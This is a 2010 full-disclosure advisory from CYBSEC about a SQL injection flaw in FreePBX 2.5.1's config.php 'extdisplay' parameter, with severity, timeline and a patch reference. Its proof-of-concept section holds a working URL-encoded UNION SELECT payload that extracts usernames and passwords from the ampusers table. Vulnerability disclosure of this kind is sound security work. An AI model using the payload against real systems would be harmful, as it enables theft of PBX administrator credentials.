full-disclosure - CYBSEC Advisory#2010-0103-FreePBX 2.5.1 SQL Injection

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Date: Mon, 18 Jan 2010 16:07:14 -0500
From: "CYBSEC Labs" <cybseclabs@...sec.com>
To: submit@...sec.com, vuln@...unia.com, antonior@...pasec.com,
	submissions@...ketstormsecurity.org, full-disclosure@...ts.grok.org.uk
Subject: CYBSEC Advisory#2010-0103-FreePBX 2.5.1 SQL
	Injection

Advisory Name: SQL injection in FreePBX 2.5.1

Internal Cybsec Advisory Id: 2010-0103

Vulnerability Class: SQL injection

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
be affected.

Affected Platforms: Any running FreePBX 2.5.1

Local / Remote: Remote

Severity: Medium  CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: To be confirmed

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in FreePBX, which can be exploited by
malicious people to conduct SQL injection attacks.

Input passed via the "extdisplay" parameter to config.php is not properly
sanitized before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 2.5.1 Other versions may also be
affected.

Proof of Concept:

http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22

Impact:

Execute arbitrary SQL queries.

Solution:

Update to FreePBX 2.5.2 or greater

	http://www.freepbx.org/trac/changeset/7594
	http://www.freepbx.org/trac/changeset/7640

Vendor Response:

2009-30-12  Vulnerability was identified
2010-01-07  Vendor contacted
2010-01-15  Vulnerability published
Patches were available before the vulnerability was discovered.

Contact Information:

For more information regarding the vulnerability feel free to contact the
researcher at
ihuertas<at> cybsec <dot> com

About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional
services specialized in  Information Security. Their area of services
covers Latin America, Spain and over 250 customers are a proof of their
professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
associated with other  software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our
clients from emerging security threats, maintaining their IT deployments
available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new
defense and attack techniques
and contributing with the security community with high quality information
exchange.

For more information, please visit www.cybsec.com

(c) 2010 - CYBSEC S.A. Security Systems

Download attachment "CYBSEC-Advisory#2010-0103-FreePBX_2_5_1_SQL Injection.pdf" of type "application/pdf" (39765 bytes)

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